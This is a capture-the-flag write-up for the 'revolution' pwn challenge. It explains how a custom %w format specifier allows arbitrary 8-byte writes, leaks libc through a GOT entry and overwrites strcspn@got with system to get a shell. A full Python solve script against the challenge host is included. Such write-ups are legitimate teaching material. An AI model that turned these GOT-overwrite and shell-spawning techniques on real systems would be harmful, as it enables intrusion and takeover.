The name says format string, and the binary does take your input as a format — but not with libc’s printf. It ships its own formatter, and that formatter has a specifier libc does not: %w, which writes one vararg to the address held in another. That is an arbitrary 8-byte write with no %n anywhere in sight.
Challenge Description
The arcade’s score printer has been spitting out strange tickets all week. Step up to the renderer and see what it’s really printing.
Provided: revolution. No libc.
Initial Analysis
The protections are inviting — no PIE, no canary:
Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)But the imports immediately kill the obvious plan:
<read@plt> <setvbuf@plt> <strcspn@plt> <strlen@plt> <write@plt>There is no printf. So whatever is parsing the format string is inside the binary. main is a tight loop:
40114f: mov edx,0x7401154: mov rsi,r12 ; "score> "401157: mov edi,0x140115c: call 401080 <write@plt>401161: xor edi,edi401163: mov edx,0x1ff401168: mov rsi,rbx ; buffer, 0x200 bytes on the stack40116b: call 4010b0 <read@plt>401170: test rax,rax401173: jg 401120and the handler at 0x401120:
401120: mov rsi,rbp ; "\n"401123: mov rdi,rbx401126: mov BYTE PTR [rsp+rax*1],0x0 ; NUL-terminate at bytes read40112a: call 4010a0 <strcspn@plt>40112f: mov rdi,rbx401132: mov BYTE PTR [rsp+rax*1],0x0 ; NUL-terminate at the newline401136: xor eax,eax401138: call 401330 ; the custom formatterThe read is 0x1ff into a 0x200 buffer, so there is no overflow. Everything is in 0x401330.
The Vulnerability
The formatter supports %%, %N$ positional arguments, %s, %p, and one more. At 0x4014cd:
4014cd: lea r9,[rsp+0x18] ; the va_list4014d2: mov rdi,r94014d5: call 4012c0 ; fetch arg N -> rax4014da: add esi,0x14014dd: mov rdi,r94014e0: mov r8,rax ; r8 = arg N (the destination pointer)4014e3: call 4012c0 ; fetch arg N+1 -> rax4014e8: mov edx,0x24014ed: mov rsi,r124014f0: mov edi,0x14014f5: mov QWORD PTR [r8],rax ; *(arg N) = arg N+14014f8: call 401080 <write@plt>That is %w: take two varargs, treat the first as a pointer and store the second through it. A full 8-byte arbitrary write, repeatable as often as you like because main loops on read() until EOF.
The argument fetcher at 0x4012c0 matters too. It copies the va_list into the red zone before walking it:
4012c0: movdqu xmm0,XMMWORD PTR [rdi]4012c4: movups XMMWORD PTR [rsp-0x20],xmm04012c9: mov rdi,QWORD PTR [rdi+0x10]4012cd: mov QWORD PTR [rsp-0x10],rdi4012d2: test esi,esi4012d4: jle 401320So %N$ is non-consuming and, critically, unbounded — there is no check that N is within the number of arguments actually passed. Every slot on the stack past the register save area is addressable.
Working out where the buffer lands:
$ printf '%%7$p|%%8$p|%%9$p|%%10$p|%%11$p\n' | ./revolutionscore> 0x257c702439257c70|0x3131257c70243031|0x4241414141007024|...0x257c702439257c70 little-endian is p|%9$p|%, which is bytes 8..16 of my own input. So argN is buffer[8*(N-6)], and %7$ is buffer[8:16]. The payload shape follows:
%7$w + 4 bytes padding + p64(target) + p64(value)The format text ends at the NUL after %7$w, so the pointer and value that follow are never parsed as format — they are just stack data the specifier reads.
Exploitation
Leaking libc
%N$s prints the string at an argument, so pointing it at a GOT entry dumps a libc address as raw bytes:
p64 = lambda x: struct.pack("<Q", x)io.send(b"%7$s" + b"ZZZZ" + p64(0x404000) + b"\n") # write@gotscore> 0M-HM-qM-kM-b~ZZZZSix raw bytes before the tag — write in libc.
No libc ships with this challenge, but the low 12 bits of a few functions are enough to fingerprint it. Querying libc.rip with write=560, read=a50, setvbuf=540 gives glibc 2.39 Ubuntu, and the libc shipped with Cache Money (2.39-0ubuntu8.3) matches on every one of those:
write 000000000011c560 -> 0x560read 000000000011ba50 -> 0xa50setvbuf 0000000000088540 -> 0x540strcspn 00000000000b4300 -> 0x300 (leak said 0xf70)strcspn looks wrong only because its GOT holds the IFUNC-resolved variant rather than the generic symbol.
The win
main calls strcspn(buf, "\n") at the top of every iteration, with rdi already pointing at the input buffer. Overwrite strcspn@got with system and the very next line sent becomes system(line):
write_qword(io, STRCSPN_GOT, libc + SYSTEM_OFF) # 0x404010io.send(b"/bin/sh\n")total 12-rw-r----- 1 root revolution 36 Sep 26 00:13 flag.txtsun{cust0m_fmtstr_n0_t00ls_4ll0wed}Solve Script
import socket, struct, time, rep64 = lambda x: struct.pack("<Q", x)
WRITE_GOT, STRCSPN_GOT = 0x404000, 0x404010WRITE_OFF, SYSTEM_OFF = 0x11c560, 0x58740 # Ubuntu GLIBC 2.39-0ubuntu8.3
class Remote: def __init__(self, host, port): self.s = socket.create_connection((host, port), timeout=10); self.s.settimeout(5) def send(self, b): self.s.sendall(b) def recv(self, n=4096): try: return self.s.recv(n) except socket.timeout: return b""
def leak(io, addr, tag=b"QQQQ"): """%N$s prints the string at an arg; arg7 is buffer[8:16].""" io.send(b"%7$s" + tag + p64(addr) + b"\n") d = b"" for _ in range(40): time.sleep(0.15) d += io.recv() if tag in d: break i = d.find(tag) return int.from_bytes(d[max(0, i - 6):i].ljust(8, b"\0"), "little")
def write_qword(io, addr, val): """%7$w stores arg8 (buffer[16:24]) into *arg7 (buffer[8:16]).""" io.send(b"%7$w" + b"AAAA" + p64(addr) + p64(val) + b"\n") time.sleep(0.3); io.recv()
io = Remote("chal.sunshinectf.games", 26002)time.sleep(1); io.recv()
libc = leak(io, WRITE_GOT) - WRITE_OFFprint(f"libc base = {libc:#x}")
write_qword(io, STRCSPN_GOT, libc + SYSTEM_OFF)io.send(b"/bin/sh\n"); time.sleep(0.6); io.recv()io.send(b"cat flag.txt\n"); time.sleep(0.8)print(io.recv().decode())Flag
sun{cust0m_fmtstr_n0_t00ls_4ll0wed}